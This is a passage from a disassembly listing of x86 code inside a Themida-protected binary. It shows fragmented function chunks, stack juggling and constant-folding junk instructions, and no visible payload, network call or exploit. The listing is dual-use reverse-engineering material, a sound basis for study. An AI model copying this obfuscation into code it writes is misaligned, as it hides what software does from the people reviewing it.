		add	esp, 4
		push	754h
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		jmp	loc_5A7ACF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A5F75:				; CODE XREF: sub_59D99C-15B9j
		mov	[esp+8+var_8], eax
		push	3B33h
		mov	[esp+0Ch+var_C], edx
		push	[esp+0Ch+var_C]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		push	edx
		jmp	loc_59AFE8
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_5A5F8D	proc near		; CODE XREF: sub_597C68+DB62j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 0059A511 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A5812 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AC219 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AC740 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ACCCB SIZE 00000005 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esi
		jmp	loc_59A511
sub_5A5F8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A5F9C:				; CODE XREF: sub_59C53B:loc_5AE311j
		jmp	loc_5A3A7D
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------


loc_5A5FA1:				; CODE XREF: Themida_:005A95AFj
		push	edi
		mov	edi, 0
		sub	edi, eax
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		pop	edi
		xor	eax, 537E6046h
		add	eax, 6B9631C7h
		add	ebp, eax
		jmp	loc_59E3B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A5FC1:				; CODE XREF: sub_59CA4A+B0F6j
		shr	eax, 8
		jns	loc_59DE52
		add	eax, 557F6B6Bh
		jmp	loc_5A8D5A
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A5FD4:				; CODE XREF: sub_5A1B2A-859Cj
					; sub_5A600F-7205j
		jmp	loc_59946F
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A5FD9:				; CODE XREF: sub_5A91EC-FF27j
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
		push	ebp
		push	edi
		push	4FAD51D4h
		pop	edi
		not	edi
		jmp	loc_59AB2E
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------


loc_5A5FEE:				; CODE XREF: Themida_:005AEA17j
		jmp	loc_5A2E07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A5FF3:				; CODE XREF: sub_59D99C+5089j
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_5A5621
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A5FFB:				; CODE XREF: sub_59CA4A+6A69j
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		add	esp, 4
		jmp	loc_5A7301
; END OF FUNCTION CHUNK	FOR sub_59CA4A

; =============== S U B	R O U T	I N E =======================================



sub_5A600F	proc near		; CODE XREF: sub_5A1AF1+3j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= dword	ptr -0Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005980A7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059865B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00598803 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005988A7 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00598C3A SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059A74B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059AA21 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059BF7F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059C300 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D18B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D339 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D978 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E3A5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059EE09 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1288 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A1C7B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1F77 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A27EE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A2E25 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A3D19 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3F63 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A4310 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4F67 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A53C1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A598A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5BB1 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A62C9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A64A6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A6620 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A6758 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A7036 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A7C11 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A823C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A8563 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A8677 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A8991 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A96DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A97C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9856 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9AAE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A9DBD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA144 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AAA20 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AAB37 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC31F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005ACCE7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AE803 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AEEC0 SIZE 0000001A BYTES

		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	ebp
		push	[esp+16h+var_14+2]
		pop	ebp
		pop	dword ptr [esp+0]
		mov	esp, [esp+12h+var_14+2]
		jmp	loc_5A62C9
sub_5A600F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A6030:				; CODE XREF: sub_59ACEC-C69j
		pop	eax
		sub	esp, 4
		jmp	loc_59BB60
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A603C:				; CODE XREF: sub_5A41D6-A4A1j
		push	dx
		push	ebx
		mov	bh, 54h
		jmp	loc_5AEAF7
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A6046:				; CODE XREF: sub_5AE6FD-48BAj
		sub	bl, ah
		pop	eax
		mov	cl, bl
		mov	bx, word ptr [esp-10h+arg_C]
		add	esp, 2
		push	edx
		mov	dl, 6Dh
		and	dl, 3
		shr	dl, 6
		jmp	loc_59CCB0
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A6060:				; CODE XREF: sub_5A91EC-49B0j
		sub	[esp-18h+arg_14], 1E6B7EDCh
		jmp	loc_59A556
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A606C:				; CODE XREF: sub_5AC95F-101B9j
		mov	ebp, 56D548D3h
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 26316433h
		sub	eax, esi
		pop	esi
		shl	eax, 4
		sub	eax, 8883331Ch
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		push	ebp
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], ebx
		mov	bh, dl
		jmp	loc_5AC427
; ---------------------------------------------------------------------------


loc_5A60A1:				; CODE XREF: sub_5AC95F-14D31j
		mov	[edi+eax*4], bl
		pop	ebx
		push	[esp-0Ch+arg_8]
		jmp	loc_5AA065
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A60AD:				; CODE XREF: Themida_:005A2F04j
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5D2301ABh
		xor	ecx, 1ACF2487h
		jbe	loc_5A6D32
		jmp	loc_5A11C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A60CA:				; CODE XREF: sub_59ACEC+7F1Cj
		mov	edx, [esp+0]
		add	esp, 4
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		add	esp, 4
		add	edi, 2DC56109h
		add	edi, 13EF61D6h
		add	edi, ecx
		jmp	loc_5997F1
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A6105:				; CODE XREF: sub_5AEE2E-ABFj
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_5A610A:				; CODE XREF: Themida_:005A829Aj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	7CD8h
		jmp	loc_598617
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A611E:				; CODE XREF: sub_59D99C-3898j
					; sub_59EE24+857Cj
		shl	edi, 2
		push	edx
		mov	edx, 70821ACEh
		jmp	loc_5AA1D4
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A612C:				; CODE XREF: Themida_:00598987j
		pop	edx
		sub	ebx, 0CC30533Bh
		or	eax, ebx
		pop	ebx
		inc	eax
		push	ecx
		jmp	loc_5A6B58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A613D:				; CODE XREF: sub_5AC95F-58ADj
		mov	eax, 0FFFFFFFFh
		sub	ecx, eax
		pop	eax
		push	7DC7h
		mov	[esp-8+arg_4], edx
		mov	edx, 0F80DAD3Bh
		xor	ecx, edx
		pop	edx
		push	eax
		mov	eax, 732A58E3h
		jmp	loc_5A234B
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A6160:				; CODE XREF: Themida_:005A4546j
		push	45D6h
		jmp	loc_59E10A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A616A:				; CODE XREF: sub_5ABF4A-D296j
		pop	ecx
		push	eax
		mov	eax, 72251F3Bh
		or	edi, eax
		jmp	loc_5AE014
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------


loc_5A6178:				; CODE XREF: Themida_:0059A7D4j
		push	2B2Ch
		jmp	loc_5A6796
; ---------------------------------------------------------------------------


loc_5A6182:				; CODE XREF: Themida_:005AD637j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A618F:				; CODE XREF: sub_5AC95F+1EC2j
		push	7AB0h
		jmp	loc_5A07F1
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A61A3:				; CODE XREF: sub_599059+15F63j
		push	410Eh
		push	6F8h
		mov	[esp+0Eh+var_E], esp
		add	[esp+0Eh+var_E], 4
		jmp	loc_5A5BDA
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A61BC:				; CODE XREF: sub_5A8D43+4455j
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, 379A5B27h
		add	edx, ecx
		add	edx, 379A5B27h
		pop	ecx
		jmp	loc_59FFFE
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A61E0:				; CODE XREF: sub_5A17D6-3516j
		xor	ebx, ebp
		xor	ebp, ebx
		not	ebx
		xchg	ebx, ebp
		and	ebp, 38E610AEh
		push	edi
		jmp	loc_5A83A9
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A61F4:				; CODE XREF: sub_5ACD64-19E9j
		xchg	esi, [esp-4+arg_0]
		jmp	loc_59E068
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A61FC:				; CODE XREF: sub_5986D6+7BAFj
		mov	[esp+10h+var_10], ebx
		sub	esp, 4
		mov	[esp+14h+var_14], esp
		add	[esp+14h+var_14], 4
		pop	ebx
		add	ebx, 4
		push	6121h
		jmp	loc_5A23C2
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5B0


loc_5A621D:				; CODE XREF: sub_59F5B0+4j
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+8+var_8], edi
		mov	edi, 18B800E2h
		jmp	loc_59B18B
; END OF FUNCTION CHUNK	FOR sub_59F5B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A6233:				; CODE XREF: sub_5A17D6+5FB5j
		add	dword ptr [esp+8], 2F20379Fh
		jmp	loc_5982E1
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A6240:				; CODE XREF: sub_5A728F+294j
		pop	edx
		mov	[edi+eax*4+1], ch
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	ecx
		jmp	loc_5ACFE4
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D180


loc_5A6251:				; CODE XREF: sub_59D180+E1CBj
		add	edx, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	ebp, edx
		jmp	loc_5A5D2D
; END OF FUNCTION CHUNK	FOR sub_59D180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A6260:				; CODE XREF: sub_5A8C33-4B14j
		sub	eax, 0BE531294h
		jmp	loc_5ADEED
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A626A:				; CODE XREF: sub_5AC402+1j
		xor	al, bl
		push	small 601Ch
		mov	[esp-0Ah+arg_6], dx
		mov	dl, 29h
		shr	dl, 4
		push	475Eh
		mov	[esp-6+arg_0+2], ecx
		mov	ch, 21h
		xor	ch, 0DCh
		neg	ch
		sub	ch, 0AAh
		xor	dl, ch
		pop	ecx
		shl	dl, 2
		jmp	loc_5A0CEF
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------


loc_5A6296:				; CODE XREF: Themida_:0059F667j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_59864E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD9CC


loc_5A62C1:				; CODE XREF: sub_5AD9CC-5BDj
		mov	edi, esp
		push	ecx
		jmp	loc_5A90EE
; END OF FUNCTION CHUNK	FOR sub_5AD9CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A62C9:				; CODE XREF: sub_5A600F+1Cj
		push	49ECh
		mov	[esp+12h+var_14+2], ebp
		jmp	loc_5A53C1
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A62D6:				; CODE XREF: Themida_:00598CCAj
		pop	edx
		add	esp, 4
		jmp	loc_5A2ED8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A62DF:				; CODE XREF: sub_5A1B2A+9C3Aj
		sub	esi, 65BD0C79h
		pop	ebx
		xchg	esi, [esp-0Ch+arg_6+2]
		pop	esp
		push	edx
		mov	edx, 413E581Fh
		shl	edx, 7
		jz	loc_5A8A80
		dec	edx
		xor	edx, 36214346h
		jg	sub_59D7E7
		jmp	loc_599DA5
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A630B:				; CODE XREF: sub_59B707+85C5j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5A3D0B
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A6328:				; CODE XREF: sub_59FFBE-638Fj
		sub	eax, edx
		sub	esp, 4
		jmp	loc_5A55F9
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_5A6335:				; CODE XREF: sub_5A9228-7186j
		pop	esi
		sub	ebx, eax
		push	3EF8h
		mov	[esp+0], ecx
		mov	ecx, 17A1744Ah
		jmp	loc_5A2090
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A634A:				; CODE XREF: sub_5A728F+5D60j
		add	esp, 4
		add	esi, 4
		push	ebx
		mov	ebx, 2B0B1232h
		jmp	loc_5AD09B
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5A6361:				; CODE XREF: sub_59DFDD-2727j
		mov	[esp+0], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	ebp
		mov	ebp, 0DEA6071h
		or	ebp, 6AAF3228h
		jns	loc_5A721E
		jmp	loc_5A5084
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
		mov	[esp], edx
		jmp	loc_5AEB34
; ---------------------------------------------------------------------------
		pop	ebp
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A6390:				; CODE XREF: sub_59B707+CB19j
		xor	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_59E321
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A63AD:				; CODE XREF: sub_5986D6+BB6j
		shr	al, 8
		jmp	loc_59CD0E
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A63B5:				; CODE XREF: sub_5A3F42-20A5j
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	sub_5A8C33
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A63C3:				; CODE XREF: sub_59D99C+9025j
		add	ecx, 0A722C13Ch
		mov	ebx, ecx
		jmp	loc_5A0BC8
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_5A63D0:				; CODE XREF: sub_59B48F-F44j
		mov	esp, [esp-4+arg_0]
		jmp	loc_5AF074
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A63D8:				; CODE XREF: sub_59A932:loc_59A493j
		inc	ebp
		jns	loc_5AAFA7
		jmp	loc_5993BE
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
		mov	[esp], edi
		push	edx
		push	ebp
		mov	al, 0D1h


loc_5A63EC:				; CODE XREF: Themida_:005A2E73j
		mov	ecx, edx
		jmp	loc_5A9C87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A63F3:				; CODE XREF: sub_5A28BE-70C2j
		add	esp, 4
		neg	eax
		inc	eax
		jmp	loc_5A5C6A
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A6401:				; CODE XREF: sub_5A8D43-F40Fj
					; sub_59CD12+73DBj
		or	ecx, 1F8C3631h
		and	ecx, 390506F5h
		jmp	loc_59DEE7
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A6412:				; CODE XREF: sub_5A1B2A-1369j
					; sub_5A8D43+2CBj
		push	4
		pop	eax
		add	esi, eax
		jmp	loc_5AC9E3
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A641F:				; CODE XREF: sub_59D99C+8017j
		dec	esi
		js	loc_5A9922
		push	eax
		jmp	loc_5A5009
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		or	edi, 35034610h
		mov	edx, edi
		push	ebp


loc_5A6435:				; CODE XREF: Themida_:005ADF6Dj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_59E499
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5A6448:				; CODE XREF: sub_5A4F3D-9B7Dj
		jnp	loc_5A68DC
		sub	edi, 29843449h
		xor	edi, 19E62D8h
		push	eax
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A645B:				; CODE XREF: sub_5AB3DC-1329Cj
		sub	ecx, edi
		pop	edi
		jmp	loc_5AD2BA
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A6463:				; CODE XREF: sub_59D24A+EDADj
		mov	[esp-6+arg_2], edx
		jmp	loc_5A850A
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_5A646B:				; CODE XREF: Themida_:0059EE8Dj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_5AD88B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A6477:				; CODE XREF: sub_5AEE2E-BA69j
					; Themida_:005AA404j
		not	dword ptr [esp+0]
		jmp	loc_59E66E
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_5A647F:				; CODE XREF: Themida_:005A7A88j
		jmp	loc_59A1C1
; ---------------------------------------------------------------------------


loc_5A6484:				; CODE XREF: Themida_:00597E7Fj
		push	eax
		mov	eax, 2BDA6F06h
		mov	edi, eax
		pop	eax
		add	edi, 697E45B5h
		sub	edi, 25F524AEh
		add	edi, 0D04AD9ECh
		sub	ecx, edi
		jmp	loc_5AB254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A64A6:				; CODE XREF: sub_5A600F-D765j
		dec	ebp
		jns	loc_59EE09
		inc	ebp
		js	loc_5AE249
		shl	ebp, 8
		jmp	loc_5A9856
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A64BC:				; CODE XREF: sub_5AC95F-ED3Dj
		push	3650h
		mov	[esp+10h+var_10], esi
		mov	esi, esp
		jmp	loc_5A5A0D
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A64CB:				; CODE XREF: Themida_:005AD3B7j
		add	ebx, edx
		jmp	loc_5A890A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A64D2:				; CODE XREF: sub_5A8D43-CC0Cj
					; sub_59E1B6+3C5j
		pop	ebx
		add	eax, esi
		pop	esi
		jmp	loc_597CF8
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A64DB:				; CODE XREF: sub_5AB88E-1116Dj
					; Themida_:0059BCF1j
		mov	edi, 4D420F66h
		jmp	loc_5A23D1
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A64E5:				; CODE XREF: sub_5A7343-CF87j
		add	dword ptr [esp+0], 4
		pop	ebx
		push	edi
		push	ecx
		mov	ecx, 646D76F2h
		mov	edi, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		shr	edi, 8
		jmp	loc_5A85BA
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A6501:				; CODE XREF: sub_59B707+E707j
		add	edx, 4ABED0Fh
		xor	edx, 74FD22D6h
		mov	ebx, edx
		mov	edx, [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		pop	esp
		sub	ebp, ebx
		jmp	loc_59E033
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5A652D:				; CODE XREF: Themida_:0059F142j
		mov	[esp], edx
		push	200h
		mov	edx, [esp]
		jmp	loc_597DB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A653D:				; CODE XREF: sub_5A41D6+485j
		sub	dh, ch
		pop	ecx
		add	dh, bh
		pop	ebx
		and	al, dh
		mov	dx, [esp+0Ah+var_A]
		add	esp, 2
		shr	al, 4
		or	al, 79h
		jmp	loc_5AEFE4
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7C98


loc_5A6556:				; CODE XREF: sub_5A7C98+308Dj
		push	3B764F8h
		pop	edi
		add	edi, 0FC489B0Ch
		jmp	loc_5A5DE8
; END OF FUNCTION CHUNK	FOR sub_5A7C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A6567:				; CODE XREF: sub_59D99C-E27j
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	22C0h
		jmp	loc_5A6687
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A657A:				; CODE XREF: sub_5A8C33+5B11j
		dec	edx
		sub	edx, 73710FD7h
		jmp	loc_59B4F5
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB601


loc_5A6586:				; CODE XREF: sub_5AB601+26A3j
		sub	[esp+4+var_2], 7AC7h
		add	[esp+4+var_2], ax
		add	[esp+4+var_2], 7AC7h
		push	cx
		jmp	loc_5A3F3C
; END OF FUNCTION CHUNK	FOR sub_5AB601
; ---------------------------------------------------------------------------
